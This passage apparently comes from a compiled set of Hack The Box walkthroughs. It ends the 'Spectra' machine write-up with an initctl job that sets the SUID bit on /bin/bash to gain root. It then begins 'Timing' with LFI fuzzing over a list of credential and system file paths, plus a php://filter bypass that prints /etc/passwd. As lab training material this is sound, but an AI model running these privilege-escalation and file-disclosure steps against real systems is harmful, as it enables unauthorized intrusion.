katie@spectra ~ $ ls
log  user.txt
katie@spectra ~ $ cat user.txt
e89d27fe195e9114ffa72ba8913a6130
```

and we got the flag.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb195.jpg)

#### get root

After doing sudo -l we come to know that we can run the /sbin/initctl command now if you don’t know what /initctl command does read this: 

 - [initctl - init daemon control tool](https://linux.die.net/man/8/initctl)

Now edit the /etc/init/test.conf and add this lines

``` bash
script

    chmod +s /bin/bash

end script
```

Now start the job as

``` bash
katie@spectra /etc/init $ sudo /sbin/initctl start test
test start/running, process 48988
```

and then try

``` bash
katie@spectra ~ $ /bin/bash -p
bash-4.3# id
uid=20156(katie) gid=20157(katie) euid=0(root) egid=0(root) groups=0(root),20157(katie),20158(developers)
bash-4.3# whoami
root
bash-4.3# cd /root
bash-4.3# ls
main  nodetest.js  root.txt  script.sh  startup  test.conf
bash-4.3# cat root.txt
d44519713b889d5e1f9e536d0c6df2fc
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb196.jpg)

#### Summary of knowledge

 - Directory traversal
 - wordpress file upload
 - /sbin/initctl privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end spectra -->

</details>

<a id="case-timing"></a>

## 上传时间窗口与自定义下载器

LFI 与源码揭示上传命名逻辑，Git 历史提供凭据。后半段保留 PHP 时间计算和 wget/FTP 下载行为造成的文件权限变化。

<p class="kb-provenance">来源 timing · 原记录 2021-12-18 · 47 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-timing">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start timing -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	11 Dec 2021
IP:	10.10.11.135

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2119.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.135
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap reveals two open ports, HTTP and SSH. Let’s look into webpage.

Just a login page, there's nothing else on the homepage. Let's do a directory brute force.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# gobuster dir -u http://timing.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://timing.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/12/18 08:46:39 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/images               (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/.html.php            (Status: 403) [Size: 275]                                
/.php                 (Status: 403) [Size: 275]                                
/login.php            (Status: 200) [Size: 5609]                               
/index.php            (Status: 302) [Size: 0] [--> ./login.php]                
/js                   (Status: 301) [Size: 305] [--> http://timing.htb/js/]    
/css                  (Status: 301) [Size: 306] [--> http://timing.htb/css/]   
/.htm.php             (Status: 403) [Size: 275]                                
/.htm                 (Status: 403) [Size: 275]                                
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]                
/logout.php           (Status: 302) [Size: 0] [--> ./login.php]                
/image.php            (Status: 200) [Size: 0]                                  
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]                
/header.php           (Status: 302) [Size: 0] [--> ./login.php]                
/footer.php           (Status: 200) [Size: 3937]                               
/.                    (Status: 302) [Size: 0] [--> ./login.php]
```

We got couple of directories and php files. If we look closer, most php files are redirecting to 'login.php'. However, image.php is not redirecting to anywhere, and also the size is '0'. Initially I was little bit confused, why there's a 'image.php' and 'images' directory, both server the same purpose. So, I did a directory brute force on 'images'.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# gobuster dir -u http://timing.htb/images/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://timing.htb/images/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/12/18 08:50:11 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.html.php            (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/.htm                 (Status: 403) [Size: 275]
/.htm.php             (Status: 403) [Size: 275]
/uploads              (Status: 301) [Size: 317] [--> http://timing.htb/images/uploads/]
```

There's another directory inside 'images'. So, my speculation was, if user uploads any images via 'upload.php' it dumps it in '/images/upload' directory and it can be accessed via 'image.php'. I tried to fuzz with file parameter for any LFI or Path traversal attack.

``` bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u 'http://timing.htb/image.php?file=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://timing.htb/image.php?file=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

/etc/httpd/logs/access.log [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/lilo.conf          [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/exports            [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/shadow             [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/anacrontab         [Status: 200, Size: 0, Words: 1, Lines: 1]
/etc/groups             [Status: 200, Size: 0, Words: 1, Lines: 1]
......
```

As you can see, status code of files are 200 but size is 0. It simply means, 'file' parameter is not working. I tried with couple other parameters but all failed, but 'img' parameter worked.

``` bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u 'http://timing.htb/image.php?img=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://timing.htb/image.php?img=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

/etc/lighttpd.conf      [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/passwd             [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/logs/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/shadow             [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ftpaccess          [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/inetd.conf         [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/logs/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/hosts.deny         [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/httpd.conf   [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/hosts              [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/php.ini      [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/issue              [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ftphosts           [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/exports            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/chrootUsers        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/chttp.conf         [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/cups/cupsd.conf    [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/crontab            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/aliases            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/groups             [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/at.deny            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/cron.allow         [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/apache2/apache2.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/fstab              [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/conf/httpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/at.allow           [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/inittab            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/bootptab           [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/hosts.allow        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/cron.deny          [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/logrotate.d/proftpd [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/logrotate.d/vsftpd.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/motd               [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/lsb-release        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/mtab               [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/my.cnf             [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/my.conf            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/mysql/my.cnf       [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/networks           [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/network/interfaces [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/passwd             [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php4/apache2/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php5/apache2/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php4/apache2/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/proftp.conf        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ftpchroot          [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/srm.conf     [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/pureftpd.pdb       [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/pure-ftpd/pure-ftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/pure-ftpd/pure-ftpd.pdb [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/pure-ftpd/putreftpd.pdb [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/logs/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/resolv.conf        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/samba/smb.conf     [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ssh/ssh_config     [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/anacrontab         [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ssh/ssh_host_dsa_key [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/logs/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ssh/ssh_host_dsa_key.pub [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/syslog.conf        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/termcap            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/vsftpd.chroot_list [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/lilo.conf          [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/apache2/httpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/vsftpd.conf        [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/logrotate.d/ftp    [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/motd               [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/wu-ftpd/ftpaccess  [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php4.4/fcgi/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/wu-ftpd/ftphosts   [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/wu-ftpd/ftpusers   [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php/cgi/php.ini    [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php/apache/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/logs/pure-ftpd.log     [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/npasswd            [Status: 200, Size: 25, Words: 3, Lines: 1]
/logs/security_debug_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/logs/security_log      [Status: 200, Size: 25, Words: 3, Lines: 1]
/opt/lampp/etc/httpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/interrupts        [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/cpuinfo           [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/filesystems       [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/pureftpd.passwd    [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/meminfo           [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/ioports           [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php4/cgi/php.ini   [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php5/apache/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php4/apache/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php/apache2/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/snmpd.conf         [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/mounts            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php.ini            [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/version           [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/self/net/arp      [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/stat              [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ssh/sshd_config    [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/lib/php.ini        [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/etc/pure-ftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/lib/php/php.ini    [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php/php.ini        [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/conf/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/log   [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ssh/ssh_host_key.pub [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/logs  [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/printcap           [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/profile            [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/sysconfig/network  [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/logs/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/audit_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/httpd/access.conf  [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/redhat-release     [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/cpanel/logs  [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/cpanel/logs/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/vsftpd/vsftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/cpanel/logs/license_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/ssh/ssh_host_key   [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/etc/httpd/logs/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/cpanel/logs/login_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/cpanel/logs/stats_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/grub.conf          [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/bashrc             [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/etc/pure-ftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/vhcs2/proftpd/proftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/lib/php.ini  [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php4/httpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php4/httpd.conf.php [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php5/httpd.conf.php [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php5/lib/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php/httpd.conf.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php/httpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php/lib/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/pureftpd/etc/pureftpd.pdn [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/www/logs/httpd_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/modules.conf       [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/sbin/pure-config.pl [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/adm/log/xferlog    [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/apache2/config.inc [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/lib/mysql/my.cnf   [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/apache/logs/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/apache/logs/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/local/www/conf/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/lib/mysql/mysql/user.MYD [Status: 200, Size: 25, Words: 3, Lines: 1]
/opt/xampp/etc/php.ini  [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache2/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/modules           [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache2/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/php/php4/php.ini   [Status: 200, Size: 25, Words: 3, Lines: 1]
/root/anaconda-ks.cfg   [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache2/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/pure-ftpd.conf     [Status: 200, Size: 25, Words: 3, Lines: 1]
/etc/proftpd/proftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/proc/swaps             [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache-ssl/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache-ssl/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/auth.log       [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/boot           [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/htmp               [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/chttp.log      [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/conf/modsec.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/cups/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/daemon.log     [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/dmesg          [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/dpkg.log       [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/exim/mainlog   [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/exim_mainlog   [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/exim_paniclog  [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/etc/httpd/logs/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/exim.paniclog  [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/etc/pureftpd.pdb [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/etc/php.ini  [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/apache/logs/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/exim_rejectlog [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/exim/rejectlog [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/faillog        [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/ftplog         [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/ftp-proxy      [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/cpanel/logs/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/ftp-proxy/ftp-proxy.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/httpd/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/httpd/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/httpd/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/httpsd/ssl.access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/httpd/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/kern.log       [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/httpsd/ssl_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/lastlog        [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/lighttpd/lighttpd.access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/lighttpd/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/lighttpd/lighttpd.error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mail.log       [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/maillog        [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mail.warn      [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/message        [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mysqlderror.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/messages       [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mysql/mysql-bin.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/apache2/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php5/httpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/php4/lib/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/secure         [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/vsftpd.log     [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/pure-ftpd/pure-ftpd.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/cpanel/cpanel.config [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/pureftpd/etc/pure-ftpd.conf [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/wtmp           [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/xferlog        [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/Zend/etc/php.ini [Status: 200, Size: 25, Words: 3, Lines: 1]
/usr/local/pureftpd/sbin/pure-config.pl [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/mysql.log          [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/spool/cron/crontabs/root [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/webmin/miniserv.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/run/utmp           [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/www/log/error_log  [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/www/logs/error_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/www/logs/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/www/log/access_log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/www/logs/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/www/logs/error.log [Status: 200, Size: 25, Words: 3, Lines: 1]
~/.atfp_history         [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.bash_history         [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.bash_logout          [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.bash_profile         [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.login                [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.bashrc               [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.gtkrc                [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.logout               [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.php_history          [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.mysql_history        [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.nano_history         [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.profile              [Status: 200, Size: 0, Words: 1, Lines: 1]
/var/log/debug          [Status: 200, Size: 25, Words: 3, Lines: 1]
~/.ssh/id_dsa.pub       [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.ssh/id_dsa           [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.ssh/authorized_keys  [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.ssh/id_rsa           [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.ssh/id_rsa.pub       [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.ssh/identity         [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.ssh/identity.pub     [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.viminfo              [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.wm_style             [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.Xdefaults            [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.Xresources           [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.xsession             [Status: 200, Size: 0, Words: 1, Lines: 1]
~/.xinitrc              [Status: 200, Size: 0, Words: 1, Lines: 1]
/var/log/mail.info      [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mysql/mysql-slow.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/pureftpd.log   [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/lighttpd/access.log [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/yum.log        [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/proftpd        [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mysql.log      [Status: 200, Size: 25, Words: 3, Lines: 1]
/var/log/mysql/mysql.log [Status: 200, Size: 25, Words: 3, Lines: 1]
:: Progress: [257/257] :: Job [1/1] :: 42 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
```

We got 200 status code and size of all file same.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=/etc/passwd'
Hacking attempt detected!
```

As you can see, I tried to curl the path with 'img' parameter, and I got the above response. We need to bypass the security filters now.

 - [Wrapper php://filter](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter)

We will use:

``` bash
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
```

this php filter to bypass the filter and read the files. It gives output in base64 encoded format, so we need to decode it to understand.

We got the encoded information, let's decode it.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2152  100  2152    0     0   2744      0 --:--:-- --:--:-- --:--:--  2741
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
